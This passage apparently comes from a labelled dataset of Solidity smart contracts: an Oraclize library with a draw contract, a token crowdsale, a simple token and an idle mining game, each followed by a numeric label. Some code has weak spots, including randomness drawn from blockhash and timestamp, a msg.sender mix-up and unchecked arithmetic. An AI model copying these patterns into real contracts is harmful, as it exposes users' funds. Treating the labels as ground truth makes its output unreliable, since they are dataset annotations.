return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(abi.encodePacked(delay_bytes8_left, args[1], sha256(args[0]), args[2])));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(abi.encodePacked(sha256(abi.encodePacked(context_name, queryId)))))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(abi.encodePacked(commitmentSlice1, sessionPubkeyHash))){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
function safeMemoryCleaner() internal pure {
assembly {
let fmem := mload(0x40)
codecopy(fmem, codesize, sub(msize, fmem))
}
}
}
pragma solidity 0.4.25;
contract DrawContract is usingOraclize {
mapping(bytes32 => bool) validIds;
event LogQueryId(bytes32 queryId);
event LogNewOraclizeQuery(string description);
address owner;
constructor () payable public {
owner = msg.sender;
}
function () payable public {
require(msg.sender == owner);
}
function __callback(bytes32 myid, string result) public {
if (!validIds[myid]) revert();
if (msg.sender != oraclize_cbAddress()) revert();
delete validIds[myid];
}
function draw(string url, string lotterySlug, string drawDate) payable external {
require(msg.sender == owner);
if (oraclize_getPrice("URL") > address(this).balance) {
emit LogNewOraclizeQuery("false");
} else {
bytes32 queryId = oraclize_query("URL", url);
validIds[queryId] = true;
emit LogQueryId(queryId);
emit LogNewOraclizeQuery("true");
}
}
} | 1 | 2,231 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function() external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_processBonusStateSave(_beneficiary, weiAmount);
_forwardFunds();
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _processBonusStateSave(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract AllowanceCrowdsale is Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
address public tokenWallet;
constructor(address _tokenWallet) public {
require(_tokenWallet != address(0));
tokenWallet = _tokenWallet;
}
function remainingTokens() public view returns (uint256) {
return token.allowance(tokenWallet, this);
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransferFrom(tokenWallet, _beneficiary, _tokenAmount);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
modifier onlyWhileOpen {
require(isOpen());
_;
}
constructor(uint256 _openingTime) public {
require(_openingTime >= block.timestamp);
openingTime = _openingTime;
}
function isOpen() public view returns (bool) {
return block.timestamp >= openingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TecoIco is Crowdsale, AllowanceCrowdsale, TimedCrowdsale, CappedCrowdsale, Ownable {
using SafeMath for uint256;
uint256 public bonusPercent;
mapping(address => uint256) bonuses;
constructor(uint256 _rate, address _wallet, ERC20 _token, address _tokenWallet, uint256 _openingTime, uint256 _cap)
Crowdsale(_rate, _wallet, _token)
AllowanceCrowdsale(_tokenWallet)
TimedCrowdsale(_openingTime)
CappedCrowdsale(_cap)
public
{
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function setRate(uint256 _rate)
public
onlyOwner
{
rate = _rate;
}
function setBonusPercent(uint256 _bonusPercent)
public
onlyOwner
{
bonusPercent = _bonusPercent;
}
function getBonusTokenAmount(uint256 _weiAmount)
public
view
returns (uint256)
{
if (bonusPercent > 0) {
return _weiAmount.mul(rate).mul(bonusPercent).div(100);
}
return 0;
}
function _getTokenAmount(uint256 _weiAmount)
internal
view
returns (uint256)
{
if (bonusPercent > 0) {
return _weiAmount.mul(rate).mul(100 + bonusPercent).div(100);
}
return _weiAmount.mul(rate);
}
function _processBonusStateSave(
address _beneficiary,
uint256 _weiAmount
)
internal
{
bonuses[_beneficiary] = bonuses[_beneficiary].add(getBonusTokenAmount(_weiAmount));
super._processBonusStateSave(_beneficiary, _weiAmount);
}
function bonusOf(address _owner) public view returns (uint256) {
return bonuses[_owner];
}
} | 0 | 137 |
pragma solidity ^0.4.19;
contract BaseToken {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
}
contract CustomToken is BaseToken {
function CustomToken() public {
totalSupply = 9600000000000000000;
name = 'HEC';
symbol = 'HEC';
decimals = 10;
balanceOf[0x5ebc4B61A0E0187d9a72Da21bfb8b45F519cb530] = totalSupply;
Transfer(address(0), 0x5ebc4B61A0E0187d9a72Da21bfb8b45F519cb530, totalSupply);
}
} | 1 | 2,947 |
pragma solidity ^0.4.18;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b <= a);
c = a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a * b;
require(a == 0 || c / a == b);
}
}
library GeometricSequence
{
using SafeMath for uint256;
function sumOfNGeom(uint256 basePrice, uint256 owned, uint256 count) internal pure returns (uint256 price)
{
require(count > 0);
uint256 multiplier = 5;
uint256 basePower = owned / multiplier;
uint256 endPower = (owned + count) / multiplier;
price = (basePrice * (2**basePower) * multiplier).mul((2**((endPower-basePower)+1))-1);
price = price.sub((basePrice * 2**basePower) * (owned % multiplier));
price = price.sub((basePrice * 2**endPower) * (multiplier - ((owned + count) % multiplier)));
}
}
contract ERC20 {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract RigIdle is ERC20 {
using GeometricSequence for uint;
using SafeMath for uint;
struct MinerData
{
mapping(uint256=>uint256) rigCount;
mapping(int256=>uint256) rigPctBonus;
mapping(int256=>uint256) rigFlatBonus;
uint256 money;
uint256 lastUpdateTime;
uint256 unclaimedPot;
uint256 lastPotClaimIndex;
uint256 prestigeLevel;
uint256 prestigeBonusPct;
}
struct BoostData
{
int256 rigIndex;
uint256 flatBonus;
uint256 percentBonus;
uint256 priceInWEI;
uint256 priceIncreasePct;
uint256 totalCount;
uint256 currentIndex;
address[] boostHolders;
}
struct RigData
{
uint256 basePrice;
uint256 baseOutput;
uint256 unlockMultiplier;
}
struct PrestigeData
{
uint256 price;
uint256 productionBonusPct;
}
mapping(uint256=>RigData) private rigData;
uint256 private numberOfRigs;
uint256 private honeyPotAmount;
uint256 private devFund;
uint256 private nextPotDistributionTime;
mapping(address => mapping(uint256 => uint256)) private minerICOPerCycle;
uint256[] private honeyPotPerCycle;
uint256[] private globalICOPerCycle;
uint256 private cycleCount;
uint256 private numberOfBoosts;
mapping(uint256=>BoostData) private boostData;
uint256 private maxPrestige;
mapping(uint256=>PrestigeData) prestigeData;
mapping(address => MinerData) private miners;
mapping(uint256 => address) private indexes;
uint256 private topindex;
address private owner;
mapping(address => mapping(address => uint256)) private allowed;
string public constant name = "RigWarsIdle";
string public constant symbol = "RIG";
uint8 public constant decimals = 8;
uint256 private estimatedSupply;
mapping(address=>address) referrals;
mapping(uint256=>uint256) private prestigeFinalizeTime;
mapping(uint256=>uint256) private rigFinalizeTime;
mapping(uint256=>uint256) private boostFinalizeTime;
function RigIdle() public {
owner = msg.sender;
rigData[0] = RigData(32, 1, 1);
rigData[1] = RigData(256, 4, 1);
rigData[2] = RigData(25600, 64, 2);
rigData[3] = RigData(512000, 512, 1);
rigData[4] = RigData(10240000, 8192, 4);
rigData[5] = RigData(3000000000, 50000, 8);
rigData[6] = RigData(75000000000, 250000, 10);
rigData[7] = RigData(2500000000000, 1500000, 1);
numberOfRigs = 8;
topindex = 0;
honeyPotAmount = 0;
devFund = 0;
nextPotDistributionTime = block.timestamp;
miners[msg.sender].lastUpdateTime = block.timestamp;
miners[msg.sender].rigCount[0] = 1;
indexes[topindex] = msg.sender;
++topindex;
boostData[0] = BoostData(-1, 0, 100, 0.1 ether, 5, 5, 0, new address[](5));
boostData[0].boostHolders[0] = 0xD3Da71Fc2B8fd4b100b420063a0d8eaBA98B2311;
boostData[0].boostHolders[1] = 0xD3Da71Fc2B8fd4b100b420063a0d8eaBA98B2311;
boostData[0].boostHolders[2] = 0xD3Da71Fc2B8fd4b100b420063a0d8eaBA98B2311;
boostData[0].boostHolders[3] = 0xD3Da71Fc2B8fd4b100b420063a0d8eaBA98B2311;
boostData[0].boostHolders[4] = 0xD3Da71Fc2B8fd4b100b420063a0d8eaBA98B2311;
numberOfBoosts = 1;
prestigeData[0] = PrestigeData(25000, 100);
prestigeData[1] = PrestigeData(25000000, 200);
prestigeData[2] = PrestigeData(20000000000, 400);
maxPrestige = 3;
honeyPotPerCycle.push(0);
globalICOPerCycle.push(1);
cycleCount = 0;
estimatedSupply = 1000000000000000000000000000;
}
function GetTotalMinerCount() public constant returns (uint256 count)
{
count = topindex;
}
function GetMinerAt(uint256 idx) public constant returns (address minerAddr)
{
require(idx < topindex);
minerAddr = indexes[idx];
}
function GetProductionPerSecond(address minerAddr) public constant returns (uint256 personalProduction)
{
MinerData storage m = miners[minerAddr];
personalProduction = 0;
uint256 productionSpeedFlat = m.rigFlatBonus[-1];
for(uint8 j = 0; j < numberOfRigs; ++j)
{
if(m.rigCount[j] > 0)
personalProduction += (rigData[j].baseOutput + productionSpeedFlat + m.rigFlatBonus[j]) * m.rigCount[j] * (100 + m.rigPctBonus[j]);
else
break;
}
personalProduction = (personalProduction * ((100 + m.prestigeBonusPct) * (100 + m.rigPctBonus[-1]))) / 1000000;
}
function GetMinerData(address minerAddr) public constant returns
(uint256 money, uint256 lastupdate, uint256 prodPerSec,
uint256 unclaimedPot, uint256 globalFlat, uint256 globalPct, uint256 prestigeLevel)
{
money = miners[minerAddr].money;
lastupdate = miners[minerAddr].lastUpdateTime;
prodPerSec = GetProductionPerSecond(minerAddr);
unclaimedPot = miners[minerAddr].unclaimedPot;
globalFlat = miners[minerAddr].rigFlatBonus[-1];
globalPct = miners[minerAddr].rigPctBonus[-1];
prestigeLevel = miners[minerAddr].prestigeLevel;
}
function GetMinerRigsCount(address minerAddr, uint256 startIdx) public constant returns (uint256[10] rigs, uint256[10] totalProduction)
{
uint256 i = startIdx;
MinerData storage m = miners[minerAddr];
for(i = startIdx; i < (startIdx+10) && i < numberOfRigs; ++i)
{
rigs[i] = miners[minerAddr].rigCount[i];
totalProduction[i] = (rigData[i].baseOutput + m.rigFlatBonus[-1] + m.rigFlatBonus[int256(i)]) * ((100 + m.rigPctBonus[int256(i)]) *
(100 + m.prestigeBonusPct) * (100 + m.rigPctBonus[-1])) / 1000000;
}
}
function GetTotalRigCount() public constant returns (uint256)
{
return numberOfRigs;
}
function GetRigData(uint256 idx) public constant returns (uint256 _basePrice, uint256 _baseOutput, uint256 _unlockMultiplier, uint256 _lockTime)
{
require(idx < numberOfRigs);
_basePrice = rigData[idx].basePrice;
_baseOutput = rigData[idx].baseOutput;
_unlockMultiplier = rigData[idx].unlockMultiplier;
_lockTime = rigFinalizeTime[idx];
}
function CalculatePriceofRigs(uint256 idx, uint256 owned, uint256 count) public constant returns (uint256)
{
if(idx >= numberOfRigs)
return 0;
if(owned == 0)
return (rigData[idx].basePrice * rigData[idx].unlockMultiplier);
return GeometricSequence.sumOfNGeom(rigData[idx].basePrice, owned, count);
}
function GetMaxPrestigeLevel() public constant returns (uint256)
{
return maxPrestige;
}
function GetPrestigeInfo(uint256 idx) public constant returns (uint256 price, uint256 bonusPct, uint256 _lockTime)
{
require(idx < maxPrestige);
price = prestigeData[idx].price;
bonusPct = prestigeData[idx].productionBonusPct;
_lockTime = prestigeFinalizeTime[idx];
}
function GetPotInfo() public constant returns (uint256 _honeyPotAmount, uint256 _devFunds, uint256 _nextDistributionTime)
{
_honeyPotAmount = honeyPotAmount;
_devFunds = devFund;
_nextDistributionTime = nextPotDistributionTime;
}
function GetGlobalProduction() public constant returns (uint256 globalMoney, uint256 globalHashRate)
{
globalMoney = 0;
globalHashRate = 0;
uint i = 0;
for(i = 0; i < topindex; ++i)
{
MinerData storage m = miners[indexes[i]];
globalMoney += m.money;
globalHashRate += GetProductionPerSecond(indexes[i]);
}
}
function GetBoosterCount() public constant returns (uint256)
{
return numberOfBoosts;
}
function GetBoosterData(uint256 idx) public constant returns (int256 rigIdx, uint256 flatBonus, uint256 ptcBonus,
uint256 currentPrice, uint256 increasePct, uint256 maxNumber, uint256 _lockTime)
{
require(idx < numberOfBoosts);
rigIdx = boostData[idx].rigIndex;
flatBonus = boostData[idx].flatBonus;
ptcBonus = boostData[idx].percentBonus;
currentPrice = boostData[idx].priceInWEI;
increasePct = boostData[idx].priceIncreasePct;
maxNumber = boostData[idx].totalCount;
_lockTime = boostFinalizeTime[idx];
}
function HasBooster(address addr, uint256 startIdx) public constant returns (uint8[10] hasBoost)
{
require(startIdx < numberOfBoosts);
uint j = 0;
for( ;j < 10 && (j + startIdx) < numberOfBoosts; ++j)
{
BoostData storage b = boostData[j + startIdx];
hasBoost[j] = 0;
for(uint i = 0; i < b.totalCount; ++i)
{
if(b.boostHolders[i] == addr)
hasBoost[j] = 1;
}
}
for( ;j < 10; ++j)
{
hasBoost[j] = 0;
}
}
function GetCurrentICOCycle() public constant returns (uint256)
{
return cycleCount;
}
function GetICOData(uint256 idx) public constant returns (uint256 ICOFund, uint256 ICOPot)
{
require(idx <= cycleCount);
ICOFund = globalICOPerCycle[idx];
if(idx < cycleCount)
{
ICOPot = honeyPotPerCycle[idx];
} else
{
ICOPot = honeyPotAmount / 5;
}
}
function GetMinerICOData(address miner, uint256 idx) public constant returns (uint256 ICOFund, uint256 ICOShare, uint256 lastClaimIndex)
{
require(idx <= cycleCount);
ICOFund = minerICOPerCycle[miner][idx];
if(idx < cycleCount)
{
ICOShare = (honeyPotPerCycle[idx] * minerICOPerCycle[miner][idx]) / globalICOPerCycle[idx];
} else
{
ICOShare = (honeyPotAmount / 5) * minerICOPerCycle[miner][idx] / globalICOPerCycle[idx];
}
lastClaimIndex = miners[miner].lastPotClaimIndex;
}
function GetMinerUnclaimedICOShare(address miner) public constant returns (uint256 unclaimedPot)
{
MinerData storage m = miners[miner];
require(m.lastUpdateTime != 0);
require(m.lastPotClaimIndex <= cycleCount);
uint256 i = m.lastPotClaimIndex;
uint256 limit = cycleCount;
if((limit - i) > 30)
limit = i + 30;
unclaimedPot = 0;
for(; i < cycleCount; ++i)
{
if(minerICOPerCycle[msg.sender][i] > 0)
unclaimedPot += (honeyPotPerCycle[i] * minerICOPerCycle[msg.sender][i]) / globalICOPerCycle[i];
}
